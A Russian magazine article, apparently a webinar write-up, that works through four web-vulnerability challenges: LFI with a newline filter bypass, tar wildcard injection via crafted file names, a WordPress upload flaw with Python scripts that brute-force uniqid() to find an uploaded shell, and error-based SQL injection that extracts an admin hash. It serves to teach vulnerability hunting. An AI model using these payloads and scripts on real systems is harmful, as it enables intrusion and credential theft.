«Хакер» пери­оди­чес­ки пишет о том, как работа­ют те или иные уяз­вимос­ти в движ­ках сай­тов и раз­ных ком­понен­тах. В этом матери­але я раз­беру четыре задачи и на их при­мерах покажу, как самому находить баги в коде веб‑при­ложе­ний.

info

Эта статья — кон­спект вебина­ра по веб‑уяз­вимос­тям, который я про­водил для читате­лей «Хакера». В кон­це будет при­веде­на его запись, где ты смо­жешь уви­деть то, что не попало в тек­сто­вую вер­сию. Если тебе инте­рес­ны такие темы и ты бы хотел разоб­рать­ся в них глуб­же, за­писы­вай­ся на мой курс по безопас­ности веб‑при­ложе­ний!

Сра­зу пре­дуп­режу, что боль­шинс­тво задач, которые мы сегод­ня раз­берем, будут на язы­ке PHP. Оно нес­прос­та — подав­ляющее боль­шинс­тво сай­тов и сер­висов в интерне­те написа­ны имен­но на нем. Так что, нес­мотря на под­порчен­ную репута­цию это­го язы­ка, тебе при­дет­ся раз­бирать­ся в нем, что­бы хакерс­тво­вать серь­езно. Сей­час же, в рам­ках это­го занятия, зна­ние PHP не явля­ется необ­ходимостью, но, конеч­но, будет очень серь­езным под­спорь­ем.

Впро­чем, боль­шинс­тво уяз­вимос­тей не при­вяза­ны к кон­крет­ному язы­ку или сте­ку тех­нологий, так что, узнав их на при­мере PHP, ты лег­ко смо­жешь экс­плу­ати­ровать подоб­ные баги и в ASP.NET, и в каком‑нибудь Node.JS.

А еще пре­дуп­режу, что задач­ки, которые мы сегод­ня раз­берем, не сов­сем началь­ного уров­ня и сов­сем уж «вален­кам» тут делать нечего — сна­чала сто­ит почитать мат­часть и хоть нем­ного пред­став­лять, с чем хочешь иметь дело. Если же ты можешь отли­чить HTTP от XML и у тебя не воз­ника­ет воп­росов вида «а что за дол­лары в коде?», то доб­ро пожало­вать!

warning

Ни автор кур­са, ни редак­ция «Хакера» не несут ответс­твен­ности за твои дей­ствия. При­мене­ние матери­алов этой статьи про­тив любой сис­темы без раз­решения ее вла­дель­ца прес­леду­ется по закону.

Се­год­ня мы раз­берем нес­коль­ко задач, которые я решал сам в рам­ках тре­ниров­ки. Воз­можно, они покажут­ся тебе слож­ными, но не пугай­ся — всег­да есть воз­можность отто­чить свои навыки на сай­тах пра­витель­ств спе­циали­зиро­ван­ных сай­тах для хакеров. Я сей­час говорю о HackTheBox и Root-me, которы­ми поль­зуюсь сам и вся­чес­ки советую дру­гим. Две из сегод­няшних задач взя­ты имен­но отту­да.

 

Задача 1

Сна­чала я при­веду код, с которым мы сей­час будем работать.

<?php
$file = rawurldecode($_REQUEST['file']);
$file = preg_replace('/^.+[\\\\\\/]/', $file);
include("/inc/{$file}");
?>

По сути, тут все­го три стро­ки кода. Казалось бы, где тут может зак­расть­ся уяз­вимость?

Что­бы это понять, давай раз­берем алго­ритм, который здесь реали­зован. Вооб­ще, при ауди­те кода сто­ит уметь читать его пос­троч­но. Тог­да про­ще понять, что имен­но может пой­ти не так.

  1. Сна­чала в перемен­ную $file помеща­ется параметр file из URL-зап­роса. Если URL имел вид https://xakep.ru/example?file=test.php, то $_REQUEST['file'] будет содер­жать test.php.

  2. За­тем резуль­тат валиди­рует­ся. Это нуж­но, что­бы нель­зя было передать пос­ледова­тель­нос­ти вида ../../../../etc/passwd и про­читать чужие фай­лы. Безопас­ность реали­зова­на регуляр­кой: в выход попадет все пос­ле пос­ледне­го сле­ша, то есть оста­нет­ся толь­ко passwd, которо­го, конеч­но, в рабочей пап­ке не ока­жет­ся.

  3. В кон­це очи­щен­ное имя фай­ла под­став­ляет­ся в путь и заг­ружа­ется файл с этим име­нем. Ничего пло­хого.

Итак, что может пой­ти не по пла­ну?

Как ты уже, конеч­но, догадал­ся — проб­лема в фун­кции очис­тки вво­да (которая preg_replace). Давай обра­тим­ся к пер­вой попав­шей­ся шпар­галке по регуляр­ным выраже­ниям.

Шпаргалка
Шпар­галка

Тут пря­мо написан ответ, как обой­ти защиту (под­сказ­ка: ищи спра­ва).

Ви­дишь точ­ку? А шапоч­ку (^)? Та стро­ка чита­ется как «если в начале стро­ки находит­ся любое количес­тво любых сим­волов, кро­ме перено­са стро­ки, и это закан­чива­ется сле­шем, уда­лить соот­ветс­тву­ющую часть стро­ки».

Клю­чевое тут «кро­ме перено­са стро­ки». Если в начале стро­ки будет перенос стро­ки — регуляр­ка не отра­бота­ет и вве­ден­ная стро­ка попадет в include() без филь­тра­ции.

info

На самом деле нор­маль­ные PHP-шни­ки так фай­лы не под­гру­жают. Рас­смот­ренная задача — прос­то при­мер, хотя, по лич­ному опы­ту, даже такие без­надеж­но небезо­пас­ные прог­раммы до сих пор неред­ко встре­чают­ся. В край­нем слу­чае, мож­но поп­робовать най­ти под­домены вида old.company.com или oldsite.company.com, на которых порой кру­тят­ся вер­сии сай­та десяти­лет­ней дав­ности с хрес­томатий­ными уяз­вимос­тями.

Собс­твен­но при­мер чте­ния фай­ла: http://test.host/lfi.php?file=%0a../../../../etc/passwd.

Результат
Ре­зуль­тат
 

Задача 2

Это за­дач­ка с root-me, где ты, воз­можно, уже видел ее. Но мы все рав­но рас­смот­рим ее под­робнее — она отно­сит­ся к реалис­тичным, и шан­сы встре­тить что‑то подоб­ное в жиз­ни немалень­кие.

В задании нам дает­ся прос­той фай­лооб­менник и про­сят получить дос­туп к панели адми­на.

Интерфейс файлообменника
Ин­терфейс фай­лооб­менни­ка

Ин­терфейс край­не прост: есть кноп­ка заг­рузки фай­ла на сер­вер и прос­мотр заг­ружен­ных фай­лов по пря­мым ссыл­кам. Забегая впе­ред, ска­жу, что гру­зить скрип­ты на PHP, bash и про­чие — бес­полез­но, про­вер­ки реали­зова­ны вер­но и ошиб­ка в дру­гом мес­те.

Об­рати вни­мание на ниж­нюю часть стра­ницы, а точ­нее — на фра­зу «frequent backups: this opensource script is launched every 5 minutes for saving your files». И при­веде­на ссыл­ка на скрипт, вызыва­емый каж­дые пять минут в сис­теме.

Да­вай гля­нем на него прис­таль­нее:

#!/bin/bash
BASEPATH=$(dirname `readlink -f "$0"`)
BASEPATH=$(dirname "$BASEPATH")
cd "$BASEPATH/tmp/upload/$1"
tar cvf "$BASEPATH/tmp/save/$1.tar" *

Ка­залось бы — что тут такого? На парамет­ры ты вли­ять не можешь, а ман­тру при­зыва tar вооб­ще зна­ешь как свои пять паль­цев. А проб­лема в самой ман­тре: тут она написа­на не пол­ностью. Точ­нее, не в том виде, как ее уви­дит сам tar.

Что дела­ет звез­дочка? Вмес­то нее bash под­ста­вит име­на всех фай­лов в текущей пап­ке. Вро­де ничего кри­миналь­ного.

А давай обра­тим­ся к ма­нуалу на Tar, который нам любез­но пре­дос­тавлен вмес­те с усло­вием задачи.

Интересности в Tar
Ин­терес­ности в Tar

Вот это мес­то пред­став­ляет для нас самый боль­шой инте­рес. Дело в том, что tar име­ет нес­коль­ко осо­бых воз­можнос­тей для гиб­кого монито­рин­га про­цес­са архи­вации со сто­роны. Это дос­тига­ется с помощью так называ­емых чек‑пой­нтов, у которых могут быть свои опре­делен­ные дей­ствия. Одно из дей­ствий — exec=command, которое при дос­тижении чек‑пой­нта выпол­нит коман­ду command с помощью стан­дар­тно­го шел­ла.

Те­перь вспом­ним про звез­дочку: вмес­то нее шелл (bash) под­ста­вит спи­сок всех фай­лов в текущей пап­ке, при этом они могут иметь любые име­на. В том чис­ле такие, которые будут вос­при­няты архи­вато­ром как спе­циаль­ные парамет­ры.

Та­ким обра­зом, нам надо под­сунуть фай­лы с име­нами в виде аргу­мен­тов tar. Я исполь­зовал такие: --checkpoint=1, --checkpoint-action=exec=sh shell.sh (пус­тые) и shell.sh (полез­ная наг­рузка). В shell.sh находит­ся сле­дующий код:

#!/bin/sh
cp ../../../admin/index.php ./

Прос­то заголо­вок и коман­да копиро­вания админ­ской панели в текущую пап­ку. Естес­твен­но, тут мог быть реверс‑шелл или еще что‑то, но для решения кон­крет­но этой задачи такая «тяжелая артилле­рия» не нуж­на.

Те­перь дожида­емся выпол­нения нашего шел­ла — и уви­дим в окне фай­лооб­менни­ка файл админ‑панели в виде прос­того тек­ста. Оста­лось толь­ко открыть его и най­ти там пароль!

Пароль в чистом виде
Па­роль в чис­том виде
 

Задача 3

Тут у нас пла­гин для WordPress, который поз­воля­ет запись аудио и видео.

Я не буду про­сить тебя най­ти уяз­вимость, а сра­зу покажу ее.

Уязвимое место
Уяз­вимое мес­то

Как вид­но из строк 247–251 на скрин­шоте, не пре­дус­мотре­но никаких про­верок на тип или содер­жимое фай­ла — это прос­то клас­сичес­кая заг­рузка!

Есть, прав­да, огра­ниче­ние: файл гру­зит­ся в стан­дар­тную дирек­торию WordPress (/wordpress/wp-content/uploads/{YEAR}/{MONTH}). Это зна­чит, что лис­тинг содер­жимого нам по умол­чанию недос­тупен. А в стро­ке 247 генери­рует­ся слу­чай­ный иден­тифика­тор, который под­став­ляет­ся в начало име­ни фай­ла, то есть обра­тить­ся к /wordpress/wp-content/uploads/2021/01/shell.php уже не вый­дет. Непоря­док!

Но непоря­док не в том, что имя фай­ла меня­ется, а в том, что дела­ется это с помощью фун­кции uniqid(). Обра­тим­ся к до­кумен­тации:

По­луча­ет уни­каль­ный иден­тифика­тор с пре­фик­сом, осно­ван­ный на текущем вре­мени в мик­росекун­дах.

<…>

Вни­мание. Эта фун­кция не гаран­тиру­ет получе­ния уни­каль­ного зна­чения. Боль­шинс­тво опе­раци­онных сис­тем син­хро­низи­рует вре­мя с NTP либо его ана­лога­ми, так что сис­темное вре­мя пос­тоян­но меня­ется. Сле­дова­тель­но, воз­можна ситу­ация, ког­да эта фун­кция вер­нет неуни­каль­ный иден­тифика­тор для про­цес­са/потока. <…>

Сме­каешь? Уни­каль­ный иден­тифика­тор, получен­ный с помощью uniqid(), не такой уж уни­каль­ный, и это мож­но про­экс­плу­ати­ровать. Зная вре­мя вызова, мы можем уга­дать воз­вра­щаемое зна­чение uniqid() и узнать реаль­ный путь к фай­лу!

Так как PHP — про­ект откры­тый, мы можем под­смот­реть исходни­ки фун­кций стан­дар­тной биб­лиоте­ки. Откры­ваем исходник uniqid() на GitHub, перехо­дим к стро­ке 76 и наб­люда­ем сле­дующее:

uniqid = strpprintf(0, "%s%08x%05x", prefix, sec, usec);

Что тут про­исхо­дит? А то, что воз­вра­щаемое зна­чение зависит исклю­читель­но от текуще­го вре­мени, которое в рам­ках одной пла­неты впол­не пред­ска­зуемо.

Хоть выход­ная пос­ледова­тель­ность и выг­лядит слу­чай­ной, она таковой не явля­ется. Что­бы не быть голос­ловным, вот при­мер име­ни фай­ла, сге­нери­рован­ного таким алго­рит­мом:

5ff21d43dbbab_shell.php

По­лучен­ное зна­чение лег­ко мож­но кон­верти­ровать обратно в дату и вре­мя его генера­ции:

echo date("r", hexdec(substr("5ff21d43dbbab", 0, 8)));
// Sun, 03 Jan 2021 11:38:43 -0800

Ко­неч­но, бру­тить все 13 сим­волов — вши заедят, но у нас есть спо­соб получ­ше: мы можем проб­рутить вари­анты на осно­ве вре­мени заг­рузки плюс‑минус пол­секун­ды, что­бы нивели­ровать раз­бежки часов на кли­енте и сер­вере. А мож­но прос­то поверить, что часы у обо­их хос­тов точ­ные, а зна­чит, мож­но про­верить не мил­лион вари­антов (1 секун­ду), а толь­ко вари­анты, воз­можные меж­ду вре­менем отправ­ки зап­роса и вре­менем получе­ния отве­та. На шус­тром канале это будет поряд­ка 300–700 мс, что не так и мно­го.

info

Ко­неч­но, не все реаль­ные кей­сы тре­буют глу­боких поз­наний в PHP или дру­гом сер­верном язы­ке. Мно­гие ошиб­ки мож­но най­ти, даже не откры­вая код — с помощью авто­мати­чес­ких ска­неров. Под­робнее о них — в на­шей статье об авто­мати­чес­ком взло­ме. Они здо­рово помога­ют, так что не грех иметь пароч­ку под рукой для экс­пресс‑ана­лиза!

Я наб­росал прос­той скрипт на Python для демонс­тра­ции такой воз­можнос­ти. Его код пред­став­лен ниже:

#!/usr/bin/env python3
import requests, time
url = 'http://example.host/wordpress/wp-admin/admin-ajax.php'
data = {
'audio-filename': 'file.php',
'action': 'save_record',
'course_id': 'undefined',
'unit_id': 'undefined',
}
files = {
'audio-blob': open('pi.php.txt', 'rb')
}
print(time.time()) # Время отправки запроса
r = requests.post(url, data=data, files=files)
print(time.time()) # Время ответа
print(r.headers)

Нам нуж­но запус­тить его нес­коль­ко раз, что­бы подоб­рать минималь­ное вре­мя меж­ду отправ­кой зап­роса и получе­нием отве­та — это поз­волит умень­шить вре­мя перебо­ра.

Так­же нуж­но пом­нить, что раз­бежки все же могут быть, и чис­то на вся­кий слу­чай сто­ит про­верить, нас­коль­ко локаль­ное вре­мя соот­ветс­тву­ет вре­мени на сер­вере. Час­тень­ко оно воз­вра­щает­ся сер­вером в заголов­ке Last-Modified и поз­воля­ет понять, какую величи­ну кор­рекции внес­ти в свои рас­четы.

Те­перь бру­тим:

#!/usr/bin/env python3
import sys, time
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
number = Queue()
timestamp = 100000000 # your timestamp here
def main():
try:
hextime = format(timestamp, '8x')
while number:
try:
n = number.get(False)
hexusec = format((n), '5x')
print("%s%s" % (hextime, hexusec))
except:
exit()
except Exception as e:
print(" Exception main", e)
raise
try:
for num in range(100000, 900000): # your us here
number.put(num)
main()
except KeyboardInterrupt:
print("\nCancelled by user!")

Как бы еще опти­мизи­ровать перебор?

Ну, во‑пер­вых, питон сам по себе очень мед­ленный и, конеч­но, не смог бы выпол­нить соеди­нение, переда­чу заголов­ков, отправ­ку фай­ла и про­чие мел­кие нак­ладные рас­ходы в тот же момент. А интер­пре­татор PHP на сто­роне сер­вера едва ли момен­таль­но про­верит пра­ва, запус­тит скрипт, отра­бота­ет слу­жеб­ные фун­кции и дой­дет до собс­твен­но уяз­вимого мес­та. Тут мож­но накинуть эдак тысяч сто мик­росекунд без малей­ших потерь.

Во‑вто­рых, выпол­нение uniqid() оче­вид­но про­исхо­дит не в самом кон­це фун­кции. Еще нуж­но вре­мя на обра­бот­ку заг­ружен­ного фай­ла, запись отве­та (заголов­ков), отправ­ку это­го все­го по сети и на обра­бот­ку отве­та интер­пре­тато­ром Python. Тут тоже мож­но поряд­ка 100 000 мик­росекунд вычесть.

Вот так на ров­ном мес­те мы сок­ратили перебор на 200 000 зап­росов. Мно­го это или мало? В моем слу­чае это сок­ратило количес­тво зап­росов еще при­мер­но на треть.

Ос­талось поряд­ка 500 000 вари­антов, которые мож­но переб­рать в пре­делах часа или даже мень­ше — у меня это заняло минут 15.

Те­перь давай напишем еще один скрипт, который и будет искать наш шелл с исполь­зовани­ем это­го алго­рит­ма:

#!/usr/bin/env python3
import time
import threading
import requests
from threading import Lock
try:
from queue import Queue, Empty
except:
from Queue import Queue, Empty
number = Queue()
thread_count = 500
timestamp = 100000000 # your timestamp here
def main():
try:
hextime = format(timestamp, '8x')
while not finished.isSet():
try:
n = number.get(False)
hexusec = format((n), '5x')
uniqid = hextime + hexusec
ans = requests.get('http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
if ans.status_code == 200:
print('Shell: http://example.host/wordpress/wp-content/uploads/2021/01/{0}_file.php'.format(uniqid))
exit()
except Empty:
finished.set()
exit()
except Exception as e:
print(" Exception main", e)
raise
try:
for num in range(100000, 900000): # your us here, including range limits described
number.put(num)
finished = threading.Event()
for i in range(thread_count)
t = threading.Thread(target=main)
t.start()
except KeyboardInterrupt:
print("\nCancelled by user!")

Вот и всё: запус­каешь, через некото­рое вре­мя получа­ешь путь, и хост зах­вачен!

На­вер­няка у тебя воз­ник воп­рос, нель­зя ли как‑то еще усо­вер­шенс­тво­вать этот перебор, потому что 500 тысяч вари­антов — это все рав­но как‑то мно­гова­то? Мож­но, но такого зна­чимо­го уско­рения, как рань­ше, уже не будет. Суть в том, что мож­но идти не от начала про­межут­ка вре­мени к кон­цу, а от середи­ны к кра­ям. По опы­ту, это работа­ет нес­коль­ко быс­трее.

Другой способ

Есть и спо­соб поп­роще. Зак­люча­ется он в сле­дующем: новый путь к фай­лу фор­миру­ется как <стандартная папка загрузок> + <новое имя файла>. При этом новое имя фай­ла рав­но uniqid() + "_" + <имя файла от пользователя>. Валида­ции поль­зователь­ско­го име­ни не про­исхо­дит, так что мы можем в конеч­ном ито­ге зас­тавить перемес­тить файл по пути <папка загрузок> + <случайное значение> + "_/../shell.php", передав в име­ни зна­чение /../shell.php. Теперь наш шелл ста­нет дос­тупен по извес­тно­му пути <путь к текущему wp-upload>/shell.php.

 

Задача 4

Пос­ледняя на сегод­ня задач­ка — тоже с root-me и тоже из катего­рии реалис­тичных, но замет­но пос­ложнее. Сер­вис Web TV — новей­шая фран­цуз­ская раз­работ­ка в сфе­ре интернет‑телеви­дения. Но нас инте­ресу­ет не новая дешевая тра­гедия, а админка.

Главная страница Web TV. Простите за мой французский
Глав­ная стра­ница Web TV. Прос­тите за мой фран­цуз­ский

Толь­ко — вот незада­ча — Gobuster никаких приз­наков админки не обна­ружил. При­дет­ся изу­чать, что нам дос­тупно. А дос­тупен логин (там фор­ма авто­риза­ции) и ссыл­ка на нерабо­тающий эфир.

Поп­робу­ем залоги­нить­ся и перех­ватить зап­рос на авто­риза­цию с помощью Burp.

Буква З в слове «реальность» означает «защищенность»
Бук­ва З в сло­ве «реаль­ность» озна­чает «защищен­ность»

Зап­рос отправ­ляем в Repeater (пов­торитель). Пусть пока там полежит.

Взгля­нем еще разок на фор­му логина. Какие мыс­ли тебя посеща­ют, ког­да ты видишь фор­му для авто­риза­ции? Конеч­но, SQL-инъ­екция! А давай ткнем туда кавыч­ку. Написа­ли. Отправ­ляем. Хм, ничего не поменя­лось. А как вооб­ще узнать, что что‑то поменя­лось? Смот­ри на заголо­вок Content-Length в отве­те: в нашем слу­чае там при­ходит ров­но 2079 байт, если инъ­екции не было, и, оче­вид­но, при­дет силь­но дру­гой резуль­тат в про­тив­ном слу­чае. Я поп­робовал еще нем­ного, и инъ­екция так прос­то не выяви­лась, так что давай поищем в дру­гом мес­те, а потом вер­немся к это­му зап­росу.

Те­перь пос­мотрим в адресную стро­ку. Похоже, на сер­вере вклю­чен mod_rewrite, пос­коль­ку имен фай­лов не вид­но. Походим нем­ного по сай­ту, запоми­ная вари­анты URL в адресной стро­ке. Наб­люда­ем /page_login, /page_tv, /page_accueil. Зна­чит, /page_ — ско­рее все­го, имя мас­сива. Во вся­ком слу­чае, на моем опы­те это обыч­но так. А если пос­ле /page_ передать что‑то кор­рек­тное, но не ожи­даемое сер­вером?

Я поп­робовал перей­ти на стра­ницу /page_index и получил ошиб­ку как на скри­не ниже.

Ошибка интерпретатора
Ошиб­ка интер­пре­тато­ра

В пер­вом сооб­щении об ошиб­ке вид­на часть пути (corp_pages/fr/index), которая закан­чива­ется на то же, что переда­но в URL пос­ле /page_. Про­верим нашу догад­ку — перей­дем по пути /page_xakep.php.

И дей­стви­тель­но — сайт прос­то под­став­ляет параметр в путь и пыта­ется про­читать несущес­тву­ющий файл xakep.php. Поль­зователь­ский ввод под­став­ляет­ся в путь — зна­чит, у нас есть воз­можность повесе­лить­ся на сер­вере!

Ме­тодом науч­ного тыка был обна­ружен параметр /?action=. Он ока­зал­ся поч­ти такой же по дей­ствию, как /page_. Поп­робу­ем про­читать index.php в кор­не сай­та.

/?action=../../index.php
/?action=../../index.php

Вид­но не все, но если открыть ответ в Burp или даже прос­то прос­мотреть код стра­ницы бра­узе­ром — откры­вает­ся пол­ный исходник. Вот тебе и directory traversal налицо.

Результат обхода каталога
Ре­зуль­тат обхо­да катало­га

Пом­нишь, мы не мог­ли най­ти путь к админке? А на скрин­шоте он есть: имен­но на него будет редирект, ког­да скрипт про­верит логин и пароль.

info

Взгля­нем попод­робнее на фун­кцию safe. Она при­нима­ет некото­рую стро­ку, экра­ниру­ет спец­симво­лы и, опци­ональ­но, уда­ляет спец­симво­лы HTML (если вто­рой параметр равен 1). Экра­ниро­вание спец­симво­лов дела­ется фун­кци­ей addslashes, которая без проб­лем обхо­дит­ся с помощью муль­тибай­товой кодиров­ки, нап­ример китай­ской. Все было бы сов­сем радуж­но, если бы сер­вер под­держи­вал нуж­ную кодиров­ку, но, к сожале­нию, у нас это­го нет.

Да­вай, не отхо­дя от кас­сы, сра­зу и его про­чита­ем — вдруг там что‑нибудь инте­рес­ное есть.

<?php
require_once '../inc/config.php';
function decrypt($str, $key) {
$iv = substr( md5("hacker",true), 0, 8 );
return mcrypt_decrypt( MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv );
}
$msg="";
$user="";
if (isset($_GET["logout"])) $_SESSION['logged']=0;
if (isset($_GET["user"]) && preg_match("/^[a-zA-Z0-9]+$/",$_GET["user"])){
$user=$_GET["user"];
} else {
$msg="<p>hack detected !</p>";
$_SESSION['logged']=0;
}
if ($_SESSION['logged']==1) {
$Validation="4/lOF/4ZMmdPxlFjZD63nA==";
if ($result = $db->query("SELECT passwd FROM users WHERE login='$user'")) {
if($result->num_rows > 0){
$data = $result->fetch_assoc();
$key=base64_encode($data['passwd']);
$msg=$text['felicitation'].decrypt(base64_decode($Validation),$key);
} else {
$msg="<p>no such user</p>";
$_SESSION['logged']=0;
}
$result->close();
} else{
$msg="<p>ERREUR SQL</p>";
$db->close();
exit();
}
} else {
header("Location: ../index.php");
$db->close();
exit();
}
$db->close();
?>

Код успешно про­читан, и вид­на инте­рес­ная фун­кция decrypt, при­нима­ющая некую стро­ку и ключ.

Ес­ли даль­ше про­читать код, то вид­на защита от спец­симво­лов в име­ни поль­зовате­ля, потом из базы извле­кает­ся пароль и рас­шифро­выва­ется фун­кци­ей выше. Казалось бы — вот оно, но сна­чала надо выяс­нить имя поль­зовате­ля, которо­го у нас пока нет. Забегая впе­ред: все баги, которые есть в этом при­ложе­нии, находят­ся в двух рас­смот­ренных фай­лах, и дру­гих тут нет.

Те­перь, что­бы экс­плу­ати­ровать даль­ше, давай вер­немся к прош­лому фай­лу и рас­смот­рим его код еще раз.

if(isset($_POST['login'],$_POST['pass']) and !empty($_POST['login']) and !empty($_POST['pass']) ) {
$passwd=sha1($_POST['pass'],true); # Хеширование
$username=safe($_POST['login']); # Извлечение юзернейма
$sql="SELECT login FROM $table WHERE passwd='$passwd' AND login='$username'";
<...>
}

Прис­мотрись к вызову фун­кции хеширо­вания: пом­нишь ли ты, что озна­чает вто­рой параметр (true) в фун­кции sha1? Я тоже нет, так что давай пос­мотрим ма­нуал:

Спи­сок парамет­ров

string

Вход­ная стро­ка.

binary

Ес­ли необя­затель­ный аргу­мент binary име­ет зна­чение true, хеш воз­вра­щает­ся в виде бинар­ной стро­ки из 20 сим­волов, ина­че он будет воз­вра­щен в виде 40-сим­воль­ного шес­тнад­цатерич­ного чис­ла.

<…>

То есть вер­нется некото­рая бинар­ная пос­ледова­тель­ность, которая будет рас­позна­на как стро­ка. Нам нуж­но, что­бы пос­ледний байт был равен 5c, что в ASCII рав­но бэк­сле­шу. Тог­да в SQL-зап­росе зак­рыва­ющая кавыч­ка пос­ле пароля будет экра­ниро­вана и мы смо­жем под­ста­вить в логин про­изволь­ный SQL-код! Пос­ле подоб­ной под­ста­нов­ки наш зап­рос может выг­лядеть как‑то так:

$sql="SELECT login FROM $table WHERE passwd='123123'' OR 1=1 -- '";

И для это­го нуж­но толь­ко подоб­рать такой сим­вол из муль­тибай­товой кодиров­ки, что­бы его пос­ледний байт был равен 5c. А в нашем слу­чае нуж­но подоб­рать такой пароль, хеш которо­го закан­чивал­ся бы на 5c. Это уже про­ще прос­того — ведь мы не огра­ниче­ны в том, что переда­ем в фун­кцию. Я написал для это­го прос­той скрипт на PHP.

<?php
for ($i = 1; $i <= 10000; $i++) {
$hash = sha1($i);
if (substr($hash, 38, 2) == "5c") {
echo $i." - ";
die(sha1($i, true));
}
}
?>

На самом деле даже 10 000 вари­антов — овер­килл, потому что 5c — это один байт, а так как выход­ная пос­ледова­тель­ность хеш‑фун­кции псев­дослу­чай­на, то понадо­бит­ся при­мер­но 256 попыток, если не будет дуб­лей. Я же перес­тра­ховал­ся.

Вы­пол­нилось все очень быс­тро — подош­ло уже чис­ло 17. Теперь у нас есть «пра­виль­ный» пароль. Нуж­но пос­мотреть, какая будет реак­ция сер­виса. Пом­нишь наш зап­рос на логин в Burp? Под­став­ляй в качес­тве пароля чис­ло 17, а в логин — клас­сичес­кий ORDER BY 1-- (с про­бела­ми на обо­их кон­цах). Ошиб­ки нет, все в поряд­ке. Зна­чит, полей боль­ше, чем одно. Пос­тавим что‑нибудь боль­ше — 111, нап­ример. Выпол­няем — и вот у нас ошиб­ка, зна­чит SQL-инъ­екция работа­ет!

Пе­чаль­но, прав­да, что никако­го резуль­тата из зап­роса не выводит­ся. Как это побороть? Исполь­зовать любые шаб­лоны time-based, boolean-based или error-based.

Мой любимый payload в таких слу­чаях — AND extractvalue(1,concat(0x3a,(select version() from users limit 0,1))). На вся­кий слу­чай заменим про­белы на плю­сы, под­ста­вим в поле логина в Burp и отпра­вим зап­рос. Видим в отве­те сле­дующее:

SQL error : XPATH syntax error: ':5.7.32-0ubuntu0.16.04.1'

Инъ­екция работа­ет, пусть и выводит не боль­ше 31 сим­вола за раз. А нам боль­шего и не надо. Видо­изме­ним инъ­екцию нем­ного, что­бы получить логин:

AND extractvalue(1,concat(0x3a,(select login from users limit 0,1)))

От­вет:

SQL error : XPATH syntax error: ':administrateur'

И теперь пароль:

AND extractvalue(1,concat(0x3a,(select passwd from users limit 0,1)))

И вот он:

SQL error : XPATH syntax error: ':e79c4da4f94b86cba5a81ba39fed083'

Но не все так прос­то. Как ты пом­нишь, дли­на хеша SHA-1 в шес­тнад­цатерич­ной кодиров­ке — 40 сим­волов, а нам вер­нулись 31. Непоря­док! Что­бы это испра­вить, прос­то возь­мем фун­кцию right:

AND extractvalue(1,concat(0x3a,(select right(passwd,20) from users limit 0,1)))

И вот наши пос­ледние 20 сим­волов:

SQL error : XPATH syntax error: ':1ba39fed083dbaf8bce5'

Пол­ный хеш — e79c4da4f94b86cba5a81ba39fed083dbaf8bce5.

Даль­ше нуж­но обой­ти про­вер­ки в logged.php. Пос­ле некото­рых упро­щений и очис­тки его кода от мусора полез­ный вари­ант будет выг­лядеть так:

function decrypt($str, $key) {
$iv = substr(md5("hacker",true), 0, 8);
return mcrypt_decrypt(MCRYPT_BLOWFISH, $key, $str, MCRYPT_MODE_CBC, $iv);
}
$Validation = "4/lOF/4ZMmdPxlFjZD63nA==";
$key = base64_encode('e79c4da4f94b86cba5a81ba39fed083dbaf8bce5');
echo decrypt(base64_decode($Validation), $key);

Это все оста­лось лишь обер­нуть в заголов­ки PHP и запус­тить — и пароль у нас в руках!

 

Разбор этих задач на вебинаре (видео)

На­пос­ледок напом­ню еще раз, что 18 янва­ря 2021 года я нач­ну занятия по безопас­ности веб‑при­ложе­ний. Спе­ши при­соеди­нить­ся!

3 комментария

  1. Аватар

    Dmitry Morozov

    12.01.2021 в 19:39

    Интересно, понимать полезно, а бывают случаи вне красных комманд когда лучше самому такие вещи искать, а не сканером? Или в применении эта область больше для тихой эксплуатации?

Оставить мнение